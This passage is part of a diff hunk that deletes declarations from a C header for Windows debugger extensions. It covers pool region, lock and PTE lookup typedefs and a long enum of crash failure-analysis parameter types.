- DbgPoolRegionSpecial,
- DbgPoolRegionPaged,
- DbgPoolRegionNonPaged,
- DbgPoolRegionCode,
- DbgPoolRegionNonPagedExpansion,
- DbgPoolRegionSessionPaged,
- DbgPoolRegionMax,
-} DEBUG_POOL_REGION;
-
-// GetPoolRegion
-typedef HRESULT
-(WINAPI *PGET_POOL_REGION)(
- PDEBUG_CLIENT Client,
- ULONG64 Pool,
- DEBUG_POOL_REGION *PoolRegion
- );
-
-//
-// Proces.c: FindMatchingThread
-//
-typedef struct _KDEXT_THREAD_FIND_PARAMS {
- ULONG SizeofStruct;
- ULONG64 StackPointer;
- ULONG Cid;
- ULONG64 Thread;
-} KDEXT_THREAD_FIND_PARAMS, *PKDEXT_THREAD_FIND_PARAMS;
-
-typedef HRESULT
-(WINAPI *PFIND_MATCHING_THREAD)(
- PDEBUG_CLIENT Client,
- PKDEXT_THREAD_FIND_PARAMS ThreadInfo
- );
-
-//
-// FindFileLockOwnerInfo
-//
-typedef struct _KDEXT_FILELOCK_OWNER {
- ULONG Sizeofstruct;
- ULONG64 FileObject; // IN File object whose owner is to be searched
- ULONG64 OwnerThread; // OUT Thread owning file object
- ULONG64 WaitIrp; // OUT Irp associated with file object in hte thread
- ULONG64 DeviceObject; // OUT Device object on which IRP is blocked
- CHAR BlockingDirver[32]; // OUT Driver for the device object
-} KDEXT_FILELOCK_OWNER, *PKDEXT_FILELOCK_OWNER;
-
-typedef HRESULT
-(WINAPI *PFIND_FILELOCK_OWNERINFO)(
- PDEBUG_CLIENT Client,
- PKDEXT_FILELOCK_OWNER pFileLockOwner
- );
-
-//
-// locks
-//
-typedef struct _KDEXTS_LOCK_INFO {
- ULONG SizeOfStruct;
- ULONG64 Address;
- ULONG64 OwningThread;
- BOOL ExclusiveOwned;
- ULONG NumOwners;
- ULONG ContentionCount;
- ULONG NumExclusiveWaiters; // threads waiting on exclusive access
- ULONG NumSharedWaiters; // threads waiting on shared access
- PULONG64 pOwnerThreads; // Array of thread addresses [NumOwners] owning lock
- // Set by Lock enumerator, caller needs to preserve value before return
- PULONG64 pWaiterThreads; // Array of thread addresses [NumExclusiveWaiters]
- // Set by Lock enumerator, caller needs to preserve value before return
-} KDEXTS_LOCK_INFO,*PKDEXTS_LOCK_INFO;
-
-typedef HRESULT
-(WINAPI *KDEXTS_LOCK_CALLBACKROUTINE)(PKDEXTS_LOCK_INFO pLock,
- PVOID Context);
-
-#define KDEXTS_LOCK_CALLBACKROUTINE_DEFINED 2
-
-
-//
-// EnumerateSystemLocks
-// Enumerates owned locks and calls CallbackRoutine on all owned/active locks.
-//
-typedef HRESULT
-(WINAPI *PENUMERATE_SYSTEM_LOCKS)(
- PDEBUG_CLIENT Client,
- ULONG Flags,
- KDEXTS_LOCK_CALLBACKROUTINE Callback,
- PVOID Context
- );
-
-//
-// pte information
-//
-typedef struct _KDEXTS_PTE_INFO {
- ULONG SizeOfStruct; // Must be sizeof(_KDEXTS_PTE_INFO)
- ULONG64 VirtualAddress; // Virtual address to lookup PTE
- ULONG64 PpeAddress;
- ULONG64 PdeAddress;
- ULONG64 PteAddress;
- ULONG64 Pfn;
- ULONG64 Levels;
- ULONG PteValid:1;
- ULONG PteTransition:1;
- ULONG Prototype:1;
- ULONG Protection:1;
- ULONG Reserved:28;
-
- // Pte Pfn info
- ULONG ReadInProgress:1;
- ULONG WriteInProgress:1;
- ULONG Modified:1;
-} KDEXTS_PTE_INFO, *PKDEXTS_PTE_INFO;
-
-//
-// GetPteInfo
-//
-typedef HRESULT
-(WINAPI *PKDEXTS_GET_PTE_INFO)(
- __in PDEBUG_CLIENT Client,
- __in ULONG64 Virtual,
- __out PKDEXTS_PTE_INFO PteInfo
- );
-
-#endif // _KDEXTSFN_H
-
-
-#ifndef _KEXTFN_H
-#define _KEXTFN_H
-
-/*
- * Extension functions defined in kext.dll
- */
-
-/*****************************************************************************
- PoolTag definitions
- *****************************************************************************/
-
-typedef struct _DEBUG_POOLTAG_DESCRIPTION {
- ULONG SizeOfStruct; // must be == sizeof(DEBUG_POOLTAG_DESCRIPTION)
- ULONG PoolTag;
- CHAR Description[MAX_PATH];
- CHAR Binary[32];
- CHAR Owner[32];
-} DEBUG_POOLTAG_DESCRIPTION, *PDEBUG_POOLTAG_DESCRIPTION;
-
-// GetPoolTagDescription
-typedef HRESULT
-(WINAPI *PGET_POOL_TAG_DESCRIPTION)(
- ULONG PoolTag,
- PDEBUG_POOLTAG_DESCRIPTION pDescription
- );
-
-#endif // _KEXTFN_H
-
-#ifndef _EXTAPIS_H
-#define _EXTAPIS_H
-
-/*
- * Extension functions defined in ext.dll
- */
-
-/*****************************************************************************
- Failure analysis definitions
- *****************************************************************************/
-#ifndef AUTOBUG_PROCESSING_SUPPORT
-#define AUTOBUG_PROCESSING_SUPPORT
-#endif
-
-typedef enum _DEBUG_FAILURE_TYPE {
- DEBUG_FLR_UNKNOWN,
- DEBUG_FLR_KERNEL,
- DEBUG_FLR_USER_CRASH,
- DEBUG_FLR_IE_CRASH,
-} DEBUG_FAILURE_TYPE;
-
-/*
- Each analysis entry can have associated data with it. The
- analyzer knows how to handle each of these entries.
- For example it could do a !driver on a DEBUG_FLR_DRIVER_OBJECT
- or it could do a .cxr and k on a DEBUG_FLR_CONTEXT.
-*/
-typedef enum _DEBUG_FLR_PARAM_TYPE {
- DEBUG_FLR_INVALID = 0,
- DEBUG_FLR_RESERVED,
- DEBUG_FLR_DRIVER_OBJECT,
- DEBUG_FLR_DEVICE_OBJECT,
- DEBUG_FLR_INVALID_PFN,
- DEBUG_FLR_WORKER_ROUTINE,
- DEBUG_FLR_WORK_ITEM,
- DEBUG_FLR_INVALID_DPC_FOUND,
- DEBUG_FLR_PROCESS_OBJECT,
- // Address for which an instruction could not be executed,
- // such as invalid instructions or attempts to execute
- // non-instruction memory.
- DEBUG_FLR_FAILED_INSTRUCTION_ADDRESS,
- DEBUG_FLR_LAST_CONTROL_TRANSFER,
- DEBUG_FLR_ACPI_EXTENSION,
- DEBUG_FLR_ACPI_RESCONFLICT,
- DEBUG_FLR_ACPI_OBJECT,
- DEBUG_FLR_READ_ADDRESS,
- DEBUG_FLR_WRITE_ADDRESS,
- DEBUG_FLR_CRITICAL_SECTION,
- DEBUG_FLR_BAD_HANDLE,
- DEBUG_FLR_INVALID_HEAP_ADDRESS,
- DEBUG_FLR_CHKIMG_EXTENSION,
- DEBUG_FLR_USBPORT_OCADATA,
- DEBUG_FLR_WORK_QUEUE_ITEM,
- DEBUG_FLR_ERESOURCE_ADDRESS, // ERESOURCE, use !locks to display this
- DEBUG_FLR_PNP_TRIAGE_DATA, // DEBUG_PNP_TRIAGE_INFO struct
- DEBUG_FLR_HANDLE_VALUE,
- DEBUG_FLR_WHEA_ERROR_RECORD, // WHEA_ERROR_RECORD for bugcheck 0x124
- DEBUG_FLR_VERIFIER_FOUND_DEADLOCK, // Possible deadlock found, run !deadlock
-
- DEBUG_FLR_IRP_ADDRESS = 0x100,
- DEBUG_FLR_IRP_MAJOR_FN,
- DEBUG_FLR_IRP_MINOR_FN,
- DEBUG_FLR_IRP_CANCEL_ROUTINE,
- DEBUG_FLR_IOSB_ADDRESS,
- DEBUG_FLR_INVALID_USEREVENT,
- DEBUG_FLR_VIDEO_TDR_CONTEXT,
- DEBUG_FLR_VERIFIER_DRIVER_ENTRY,
-
- // Previous mode 0 == KernelMode , 1 == UserMode
- DEBUG_FLR_PREVIOUS_MODE,
-
- // Irql
- DEBUG_FLR_CURRENT_IRQL = 0x200,
- DEBUG_FLR_PREVIOUS_IRQL,
- DEBUG_FLR_REQUESTED_IRQL,
-
- // Exceptions
- DEBUG_FLR_ASSERT_DATA = 0x300,
- DEBUG_FLR_ASSERT_FILE,
- DEBUG_FLR_EXCEPTION_PARAMETER1,
- DEBUG_FLR_EXCEPTION_PARAMETER2,
- DEBUG_FLR_EXCEPTION_PARAMETER3,
- DEBUG_FLR_EXCEPTION_PARAMETER4,
- DEBUG_FLR_EXCEPTION_RECORD,
- DEBUG_FLR_IO_ERROR_CODE,
- DEBUG_FLR_EXCEPTION_STR,
- DEBUG_FLR_EXCEPTION_DOESNOT_MATCH_CODE, // address causing read/write av was'nt referred in code
- DEBUG_FLR_ASSERT_INSTRUCTION,
-
- // Pool
- DEBUG_FLR_POOL_ADDRESS = 0x400,
- DEBUG_FLR_SPECIAL_POOL_CORRUPTION_TYPE,
- DEBUG_FLR_CORRUPTING_POOL_ADDRESS,
- DEBUG_FLR_CORRUPTING_POOL_TAG,
- DEBUG_FLR_FREED_POOL_TAG,
-
-
- // Filesystem
- DEBUG_FLR_FILE_ID = 0x500,
- DEBUG_FLR_FILE_LINE,
-
- // bugcheck data
- DEBUG_FLR_BUGCHECK_STR = 0x600,
- DEBUG_FLR_BUGCHECK_SPECIFIER,
-
- // Managed code stuff
- DEBUG_FLR_MANAGED_CODE = 0x700,
- DEBUG_FLR_MANAGED_OBJECT,
- DEBUG_FLR_MANAGED_EXCEPTION_OBJECT,
- DEBUG_FLR_MANAGED_EXCEPTION_MESSAGE,
- DEBUG_FLR_MANAGED_STACK_STRING,
- DEBUG_FLR_MANAGED_BITNESS_MISMATCH,
- DEBUG_FLR_MANAGED_OBJECT_NAME,
- DEBUG_FLR_MANAGED_EXCEPTION_CONTEXT_MESSAGE,
-
-
- // Constant values / exception code / bugcheck subtypes etc
- DEBUG_FLR_DRIVER_VERIFIER_IO_VIOLATION_TYPE = 0x1000,
- DEBUG_FLR_EXCEPTION_CODE,
- DEBUG_FLR_EXCEPTION_CODE_STR,
- DEBUG_FLR_IOCONTROL_CODE,
- DEBUG_FLR_MM_INTERNAL_CODE,
- DEBUG_FLR_DRVPOWERSTATE_SUBCODE,
- DEBUG_FLR_STATUS_CODE,
- DEBUG_FLR_SYMBOL_STACK_INDEX,
- DEBUG_FLR_SYMBOL_ON_RAW_STACK,
- DEBUG_FLR_SECURITY_COOKIES,
- DEBUG_FLR_THREADPOOL_WAITER,
- DEBUG_FLR_TARGET_MODE, // Value is DEBUG_FAILURE_TYPE
- DEBUG_FLR_BUGCHECK_CODE,
- DEBUG_FLR_BADPAGES_DETECTED,
- DEBUG_FLR_DPC_TIMEOUT_TYPE,
- DEBUG_FLR_DPC_RUNTIME,
- DEBUG_FLR_DPC_TIMELIMIT,
-
- // Notification IDs, values under it doesn't have significance
- DEBUG_FLR_CORRUPT_MODULE_LIST = 0x2000,
- DEBUG_FLR_BAD_STACK,
- DEBUG_FLR_ZEROED_STACK,
- DEBUG_FLR_WRONG_SYMBOLS,
- DEBUG_FLR_FOLLOWUP_DRIVER_ONLY, //bugcheckEA indicates a general driver failure
- DEBUG_FLR_UNUSED001, //bucket include timestamp, so each drive is tracked
- DEBUG_FLR_CPU_OVERCLOCKED,
- DEBUG_FLR_POSSIBLE_INVALID_CONTROL_TRANSFER,
- DEBUG_FLR_POISONED_TB,
- DEBUG_FLR_UNKNOWN_MODULE,
- DEBUG_FLR_ANALYZAABLE_POOL_CORRUPTION,
- DEBUG_FLR_SINGLE_BIT_ERROR,
- DEBUG_FLR_TWO_BIT_ERROR,
- DEBUG_FLR_INVALID_KERNEL_CONTEXT,
- DEBUG_FLR_DISK_HARDWARE_ERROR,
- DEBUG_FLR_SHOW_ERRORLOG,
- DEBUG_FLR_MANUAL_BREAKIN,
- DEBUG_FLR_HANG,
- DEBUG_FLR_BAD_MEMORY_REFERENCE,
- DEBUG_FLR_BAD_OBJECT_REFERENCE,
- DEBUG_FLR_APPKILL,
- DEBUG_FLR_SINGLE_BIT_PFN_PAGE_ERROR,
- DEBUG_FLR_HARDWARE_ERROR,
- DEBUG_FLR_NO_IMAGE_IN_BUCKET, // do not add image name in bucket
- DEBUG_FLR_NO_BUGCHECK_IN_BUCKET, // do not add bugcheck string in bucket
- DEBUG_FLR_SKIP_STACK_ANALYSIS, // do not look at stack
- DEBUG_FLR_INVALID_OPCODE, // Bad op code instruction
- DEBUG_FLR_ADD_PROCESS_IN_BUCKET,
- DEBUG_FLR_RAISED_IRQL_USER_FAULT,
- DEBUG_FLR_USE_DEFAULT_CONTEXT,
- DEBUG_FLR_BOOST_FOLLOWUP_TO_SPECIFIC,
- DEBUG_FLR_SWITCH_PROCESS_CONTEXT, // Set process context when getting tread stack
- DEBUG_FLR_VERIFIER_STOP,
- DEBUG_FLR_USERBREAK_PEB_PAGEDOUT,
- DEBUG_FLR_MOD_SPECIFIC_DATA_ONLY,
- DEBUG_FLR_OVERLAPPED_MODULE, // Module with overlapping address space
- DEBUG_FLR_CPU_MICROCODE_ZERO_INTEL,
- DEBUG_FLR_INTEL_CPU_BIOS_UPGRADE_NEEDED,
- DEBUG_FLR_OVERLAPPED_UNLOADED_MODULE,
- DEBUG_FLR_INVALID_USER_CONTEXT,
- DEBUG_FLR_MILCORE_BREAK,
- DEBUG_FLR_NO_IMAGE_TIMESTAMP_IN_BUCKET, // do not add _DATE_#### to bucket (aplicable for
- // buckets containing just the image name)
- DEBUG_FLR_KERNEL_VERIFIER_ENABLED, // Set for kernel targets which have verifier enabled
- DEBUG_FLR_SKIP_CORRUPT_MODULE_DETECTION, // do not look at module list for known corrupt modules
-
- // Known analyzed failure cause or problem that bucketing could be
- // applied against.
- DEBUG_FLR_POOL_CORRUPTOR = 0x3000,
- DEBUG_FLR_MEMORY_CORRUPTOR,
- DEBUG_FLR_UNALIGNED_STACK_POINTER,
- DEBUG_FLR_OLD_OS_VERSION,
- DEBUG_FLR_BUGCHECKING_DRIVER,
- DEBUG_FLR_SOLUTION_ID,
- DEBUG_FLR_DEFAULT_SOLUTION_ID,
- DEBUG_FLR_SOLUTION_TYPE,
- DEBUG_FLR_RECURRING_STACK,
- DEBUG_FLR_FAULTING_INSTR_CODE,
- DEBUG_FLR_SYSTEM_LOCALE,
- DEBUG_FLR_CUSTOMER_CRASH_COUNT,
- DEBUG_FLR_TRAP_FRAME_RECURSION,
- DEBUG_FLR_STACK_OVERFLOW,
- DEBUG_FLR_STACK_POINTER_ERROR,
- DEBUG_FLR_STACK_POINTER_ONEBIT_ERROR,
- DEBUG_FLR_STACK_POINTER_MISALIGNED,
- DEBUG_FLR_INSTR_POINTER_MISALIGNED,
- DEBUG_FLR_INSTR_POINTER_CLIFAULT,
- DEBUG_FLR_REGISTRYTXT_STRESS_ID,
- DEBUG_FLR_CORRUPT_SERVICE_TABLE,
- DEBUG_FLR_LOP_STACKHASH,
- DEBUG_FLR_GSFAILURE_FUNCTION,
- DEBUG_FLR_GSFAILURE_MODULE_COOKIE,
- DEBUG_FLR_GSFAILURE_FRAME_COOKIE,
- DEBUG_FLR_GSFAILURE_CORRUPTED_COOKIE,
- DEBUG_FLR_GSFAILURE_CORRUPTED_EBP,
- DEBUG_FLR_GSFAILURE_OVERRUN_LOCAL,
- DEBUG_FLR_GSFAILURE_OVERRUN_LOCAL_NAME,
- DEBUG_FLR_GSFAILURE_CORRUPTED_EBPESP,
- DEBUG_FLR_GSFAILURE_POSITIVELY_CORRUPTED_EBPESP,
- DEBUG_FLR_GSFAILURE_MEMORY_READ_ERROR,
- DEBUG_FLR_GSFAILURE_PROBABLY_NOT_USING_GS,
- DEBUG_FLR_GSFAILURE_POSITIVE_BUFFER_OVERFLOW,
- DEBUG_FLR_GSFAILURE_ANALYSIS_TEXT,
- DEBUG_FLR_GSFAILURE_OFF_BY_ONE_OVERRUN,
- DEBUG_FLR_GSFAILURE_RA_SMASHED,
- DEBUG_FLR_OS_BUILD_NAME,
- DEBUG_FLR_CPU_MICROCODE_VERSION,
- DEBUG_FLR_INSTR_POINTER_ON_STACK,
- DEBUG_FLR_INSTR_POINTER_ON_HEAP,
- DEBUG_FLR_EVENT_CODE_DATA_MISMATCH,
- DEBUG_FLR_PROCESSOR_INFO, // Data is DEBUG_ANALYSIS_PROCESSOR_INFO
- DEBUG_FLR_INSTR_POINTER_IN_UNLOADED_MODULE,
- DEBUG_FLR_MEMDIAG_LASTRUN_STATUS,
- DEBUG_FLR_MEMDIAG_LASTRUN_TIME,
- DEBUG_FLR_INSTR_POINTER_IN_FREE_BLOCK,
- DEBUG_FLR_INSTR_POINTER_IN_RESERVED_BLOCK,
- DEBUG_FLR_INSTR_POINTER_IN_VM_MAPPED_MODULE,
- DEBUG_FLR_INSTR_POINTER_IN_MODULE_NOT_IN_LIST,
- DEBUG_FLR_INSTR_POINTER_NOT_IN_STREAM,
- DEBUG_FLR_MEMORY_CORRUPTION_SIGNATURE, // Memory corruption address, size and pattern (bit, byte, word, stride or large)
- DEBUG_FLR_BUILDNAME_IN_BUCKET,
- DEBUG_FLR_CANCELLATION_NOT_SUPPORTED,
- DEBUG_FLR_DETOURED_IMAGE, // At least one of images on target is detoured
- DEBUG_FLR_EXCEPTION_CONTEXT_RECURSION,
- DEBUG_FLR_DISKIO_READ_FAILURE,
- DEBUG_FLR_DISKIO_WRITE_FAILURE,
-
- // Internal data, retated to the OCA database
- DEBUG_FLR_INTERNAL_RAID_BUG = 0x4000,
- DEBUG_FLR_INTERNAL_BUCKET_URL,
- DEBUG_FLR_INTERNAL_SOLUTION_TEXT,
- DEBUG_FLR_INTERNAL_BUCKET_HITCOUNT,
- DEBUG_FLR_INTERNAL_RAID_BUG_DATABASE_STRING,
- DEBUG_FLR_INTERNAL_BUCKET_CONTINUABLE,
- DEBUG_FLR_INTERNAL_BUCKET_STATUS_TEXT,
-
- // Data corelating a user target to watson DB
- DEBUG_FLR_WATSON_MODULE = 0x4100,
- DEBUG_FLR_WATSON_MODULE_VERSION,
- DEBUG_FLR_WATSON_MODULE_OFFSET,
- DEBUG_FLR_WATSON_PROCESS_VERSION,
- DEBUG_FLR_WATSON_IBUCKET,
- DEBUG_FLR_WATSON_MODULE_TIMESTAMP,
- DEBUG_FLR_WATSON_PROCESS_TIMESTAMP,
- DEBUG_FLR_WATSON_GENERIC_EVENT_NAME,
- DEBUG_FLR_WATSON_STAGEONE_STR,
-
- // Data extracted from cabbed files with dump
- DEBUG_FLR_SYSXML_LOCALEID = 0x4200,
- DEBUG_FLR_SYSXML_CHECKSUM,
- DEBUG_FLR_WQL_EVENT_COUNT,
- DEBUG_FLR_WQL_EVENTLOG_INFO,
-
- // System information such as bios data, manufactures (from !sysinfo)
- DEBUG_FLR_SYSINFO_SYSTEM_MANUFACTURER = 0x4300,
- DEBUG_FLR_SYSINFO_SYSTEM_PRODUCT,
- DEBUG_FLR_SYSINFO_BASEBOARD_MANUFACTURER,
- DEBUG_FLR_SYSINFO_BIOS_VENDOR,
- DEBUG_FLR_SYSINFO_BIOS_VERSION,
-
- // Strings.
- DEBUG_FLR_BUCKET_ID = 0x10000,
- DEBUG_FLR_IMAGE_NAME,
- DEBUG_FLR_SYMBOL_NAME,
- DEBUG_FLR_FOLLOWUP_NAME,
- DEBUG_FLR_STACK_COMMAND,
- DEBUG_FLR_STACK_TEXT,
- DEBUG_FLR_MODULE_NAME,
- DEBUG_FLR_FIXED_IN_OSVERSION,
- DEBUG_FLR_DEFAULT_BUCKET_ID,
- DEBUG_FLR_MODULE_BUCKET_ID, // Part of Bucket id specific to the culprit module
- DEBUG_FLR_ADDITIONAL_DEBUGTEXT,
- DEBUG_FLR_USER_NAME,
- DEBUG_FLR_PROCESS_NAME,
- DEBUG_FLR_MARKER_FILE, // Marker file name from sysdata.xml in cabs
- DEBUG_FLR_INTERNAL_RESPONSE, // Response text for bucket
- DEBUG_FLR_CONTEXT_RESTORE_COMMAND, // command to restore original context as before analysis
- DEBUG_FLR_DRIVER_HARDWAREID, // hardware id of faulting driver from sysdata.xml
- DEBUG_FLR_DRIVER_HARDWARE_VENDOR_ID,
- DEBUG_FLR_DRIVER_HARDWARE_DEVICE_ID,
- DEBUG_FLR_DRIVER_HARDWARE_SUBSYS_ID,
- DEBUG_FLR_MARKER_MODULE_FILE, // Secondary marker file name from the module list
- DEBUG_FLR_BUGCHECKING_DRIVER_IDTAG, // Tag set during processing to identify bugchecking driver frm triage.ini
- DEBUG_FLR_MARKER_BUCKET, // bucket id derived from machine marker
- DEBUG_FLR_FAILURE_BUCKET_ID,
- DEBUG_FLR_DRIVER_XML_DESCRIPTION,
- DEBUG_FLR_DRIVER_XML_PRODUCTNAME,
- DEBUG_FLR_DRIVER_XML_MANUFACTURER,
- DEBUG_FLR_DRIVER_XML_VERSION,
- DEBUG_FLR_BUILD_VERSION_STRING,
- DEBUG_FLR_ORIGINAL_CAB_NAME,
- DEBUG_FLR_FAULTING_SOURCE_CODE,
- DEBUG_FLR_FAULTING_SERVICE_NAME,
- DEBUG_FLR_FILE_IN_CAB, // name of file (other than dump itself) found in cab
- DEBUG_FLR_UNRESPONSIVE_UI_SYMBOL_NAME,
- DEBUG_FLR_UNRESPONSIVE_UI_FOLLOWUP_NAME,
- DEBUG_FLR_UNRESPONSIVE_UI_STACK,
- DEBUG_FLR_PROCESS_PRODUCTNAME, // Product name string from process image version info
- DEBUG_FLR_MODULE_PRODUCTNAME, // Product name string from module image version info
- DEBUG_FLR_COLLECT_DATA_FOR_BUCKET, // DataWanted sproc params
- DEBUG_FLR_COMPUTER_NAME,
- DEBUG_FLR_IMAGE_CLASS,
- DEBUG_FLR_SYMBOL_ROUTINE_NAME,
- DEBUG_FLR_HARDWARE_BUCKET_TAG,
- DEBUG_FLR_KERNEL_LOG_PROCESS_NAME,
- DEBUG_FLR_KERNEL_LOG_STATUS,
- DEBUG_FLR_REGISTRYTXT_SOURCE,
-
-
- // User-mode specific stuff
- DEBUG_FLR_USERMODE_DATA = 0x100000,
- DEBUG_FLR_THREAD_ATTRIBUTES, // Thread attributes
- DEBUG_FLR_PROBLEM_CLASSES,
- DEBUG_FLR_PRIMARY_PROBLEM_CLASS,
- DEBUG_FLR_PRIMARY_PROBLEM_CLASS_DATA,
- DEBUG_FLR_UNRESPONSIVE_UI_PROBLEM_CLASS,
- DEBUG_FLR_UNRESPONSIVE_UI_PROBLEM_CLASS_DATA,
- DEBUG_FLR_DERIVED_WAIT_CHAIN,
- DEBUG_FLR_HANG_DATA_NEEDED,
- DEBUG_FLR_PROBLEM_CODE_PATH_HASH,
- DEBUG_FLR_SUSPECT_CODE_PATH_HASH,
- DEBUG_FLR_LOADERLOCK_IN_WAIT_CHAIN,
- DEBUG_FLR_XPROC_HANG,
- DEBUG_FLR_DEADLOCK_INPROC,
- DEBUG_FLR_DEADLOCK_XPROC,
- DEBUG_FLR_WCT_XML_AVAILABLE,
- DEBUG_FLR_XPROC_DUMP_AVAILABLE,
- DEBUG_FLR_DESKTOP_HEAP_MISSING,
- DEBUG_FLR_HANG_REPORT_THREAD_IS_IDLE,
- DEBUG_FLR_FAULT_THREAD_SHA1_HASH_MF,
- DEBUG_FLR_FAULT_THREAD_SHA1_HASH_MFO,
- DEBUG_FLR_WAIT_CHAIN_COMMAND,
- DEBUG_FLR_NTGLOBALFLAG,
- DEBUG_FLR_APPVERIFERFLAGS,
- DEBUG_FLR_MODLIST_SHA1_HASH,
- DEBUG_FLR_DUMP_TYPE,
- DEBUG_FLR_XCS_PATH,
- DEBUG_FLR_LOADERLOCK_OWNER_API,
- DEBUG_FLR_LOADERLOCK_BLOCKED_API,
- DEBUG_FLR_MODLIST_TSCHKSUM_SHA1_HASH, // hash of module list (with checksum, timestamp & size)
- DEBUG_FLR_MODLIST_UNLOADED_SHA1_HASH, // hash of unloaded module list
- DEBUG_FLR_MACHINE_INFO_SHA1_HASH, // hash of unloaded module list
- DEBUG_FLR_URLS_DISCOVERED,
- DEBUG_FLR_URLS,
- DEBUG_FLR_URL_ENTRY,
- DEBUG_FLR_WATSON_IBUCKET_S1_RESP,
- DEBUG_FLR_WATSON_IBUCKETTABLE_S1_RESP,
- DEBUG_FLR_SEARCH_HANG,
- DEBUG_FLR_WER_DATA_COLLECTION_INFO,
-
- // Analysis structured data
- DEBUG_FLR_STACK = 0x200000,
- DEBUG_FLR_FOLLOWUP_CONTEXT,
- DEBUG_FLR_XML_MODULE_LIST,
- DEBUG_FLR_STACK_FRAME,
- DEBUG_FLR_STACK_FRAME_NUMBER,
- DEBUG_FLR_STACK_FRAME_INSTRUCTION,
- DEBUG_FLR_STACK_FRAME_SYMBOL,
- DEBUG_FLR_STACK_FRAME_SYMBOL_OFFSET,
- DEBUG_FLR_STACK_FRAME_MODULE,
- DEBUG_FLR_STACK_FRAME_IMAGE,
- DEBUG_FLR_STACK_FRAME_FUNCTION,
- DEBUG_FLR_STACK_FRAME_FLAGS,
- DEBUG_FLR_CONTEXT_COMMAND,
- DEBUG_FLR_CONTEXT_FLAGS,
- DEBUG_FLR_CONTEXT_ORDER,
- DEBUG_FLR_CONTEXT_SYSTEM,
- DEBUG_FLR_CONTEXT_ID,
- DEBUG_FLR_XML_MODULE_INFO,
- DEBUG_FLR_XML_MODULE_INFO_INDEX,
- DEBUG_FLR_XML_MODULE_INFO_NAME,
- DEBUG_FLR_XML_MODULE_INFO_IMAGE_NAME,
- DEBUG_FLR_XML_MODULE_INFO_IMAGE_PATH,
- DEBUG_FLR_XML_MODULE_INFO_CHECKSUM,
- DEBUG_FLR_XML_MODULE_INFO_TIMESTAMP,
- DEBUG_FLR_XML_MODULE_INFO_UNLOADED,
- DEBUG_FLR_XML_MODULE_INFO_ON_STACK,
- DEBUG_FLR_XML_MODULE_INFO_FIXED_FILE_VER,
- DEBUG_FLR_XML_MODULE_INFO_FIXED_PROD_VER,
- DEBUG_FLR_XML_MODULE_INFO_STRING_FILE_VER,
- DEBUG_FLR_XML_MODULE_INFO_STRING_PROD_VER,
- DEBUG_FLR_XML_MODULE_INFO_COMPANY_NAME,
- DEBUG_FLR_XML_MODULE_INFO_FILE_DESCRIPTION,
- DEBUG_FLR_XML_MODULE_INFO_INTERNAL_NAME,
- DEBUG_FLR_XML_MODULE_INFO_ORIG_FILE_NAME,
- DEBUG_FLR_XML_MODULE_INFO_BASE,
- DEBUG_FLR_XML_MODULE_INFO_SIZE,
- DEBUG_FLR_XML_MODULE_INFO_PRODUCT_NAME,
- DEBUG_FLR_PROCESS_INFO,
- DEBUG_FLR_EXCEPTION_MODULE_INFO,
- DEBUG_FLR_CONTEXT_FOLLOWUP_INDEX,
- DEBUG_FLR_XML_GLOBALATTRIBUTE_LIST,
- DEBUG_FLR_XML_ATTRIBUTE_LIST,
- DEBUG_FLR_XML_ATTRIBUTE,
- DEBUG_FLR_XML_ATTRIBUTE_NAME,
- DEBUG_FLR_XML_ATTRIBUTE_VALUE,
- DEBUG_FLR_XML_ATTRIBUTE_D1VALUE,
- DEBUG_FLR_XML_ATTRIBUTE_D2VALUE,
- DEBUG_FLR_XML_ATTRIBUTE_DOVALUE,
- DEBUG_FLR_XML_ATTRIBUTE_VALUE_TYPE,
- DEBUG_FLR_XML_ATTRIBUTE_FRAME_NUMBER,
- DEBUG_FLR_XML_ATTRIBUTE_THREAD_INDEX,
- DEBUG_FLR_XML_PROBLEMCLASS_LIST,
- DEBUG_FLR_XML_PROBLEMCLASS,
- DEBUG_FLR_XML_PROBLEMCLASS_NAME,
- DEBUG_FLR_XML_PROBLEMCLASS_VALUE,
- DEBUG_FLR_XML_PROBLEMCLASS_VALUE_TYPE,
- DEBUG_FLR_XML_PROBLEMCLASS_FRAME_NUMBER,
- DEBUG_FLR_XML_PROBLEMCLASS_THREAD_INDEX,
- DEBUG_FLR_XML_STACK_FRAME_TRIAGE_STATUS,
-
-
- // cabbed text data / structured data
- DEBUG_FLR_REGISTRY_DATA = 0x300000,
- DEBUG_FLR_WMI_QUERY_DATA = 0x301000,
- DEBUG_FLR_USER_GLOBAL_ATTRIBUTES = 0x302000,
- DEBUG_FLR_USER_THREAD_ATTRIBUTES = 0x303000,
- DEBUG_FLR_USER_PROBLEM_CLASSES = 0x304000,
-
-#ifdef AUTOBUG_PROCESSING_SUPPORT
- // tabs to support autobug cab processing
- DEBUG_FLR_AUTOBUG_EXCEPTION_CODE_STR = 0x101000, // This is the string representation of the exception code (ie. c0000005)
- DEBUG_FLR_AUTOBUG_BUCKET_ID_PREFIX_STR, // This is the prefix part of BUCKET_ID. Everything before the start of the module name
- DEBUG_FLR_AUTOBUG_BUCKET_ID_MODULE_STR, // This is module, without the .dll/exe/tmp, etc. extension
- DEBUG_FLR_AUTOBUG_BUCKET_ID_MODVER_STR, // This is version of the aforementioned module, 0.0.0.0 if none.
- DEBUG_FLR_AUTOBUG_BUCKET_ID_FUNCTION_STR,// This is same as Sym from Watson. If missing 'unknown'.
- DEBUG_FLR_AUTOBUG_BUCKET_ID_OFFSET, // The offset portion SYMBOL_NAME
- DEBUG_FLR_AUTOBUG_OSBUILD, // This is the OS build number.
- DEBUG_FLR_AUTOBUG_OSSERVICEPACK, // This is the trailing part of the oca tag BUILD.
- DEBUG_FLR_AUTOBUG_BUILDLAB_STR, // Only the build lab part of BUILD_VERSION_STRING (like winmain_idx03)
- DEBUG_FLR_AUTOBUG_BUILDDATESTAMP_STR, // The time date stamp part of BUILD_VERSION_STRING (like 051214-1910)
- DEBUG_FLR_AUTOBUG_BUILDOSVER_STR, // The OS version parth of BUILD_VERSION_STRING (like 6.0.5270.9).
- DEBUG_FLR_AUTOBUG_BUCKET_ID_TIMEDATESTAMP,
- DEBUG_FLR_AUTOBUG_BUCKET_ID_CHECKSUM,
- DEBUG_FLR_AUTOBUG_BUILD_FLAVOR_STR,
- DEBUG_FLR_AUTOBUG_BUCKET_ID_FLAVOR_STR, // Is the failing module chk or fre
- DEBUG_FLR_AUTOBUG_OS_SKU,
- DEBUG_FLR_AUTOBUG_PRODUCT_TYPE,
- DEBUG_FLR_AUTOBUG_SUITE_MASK,
- DEBUG_FLR_AUTOBUG_USER_LCID,
- DEBUG_FLR_AUTOBUG_OS_REVISION, // OS revision
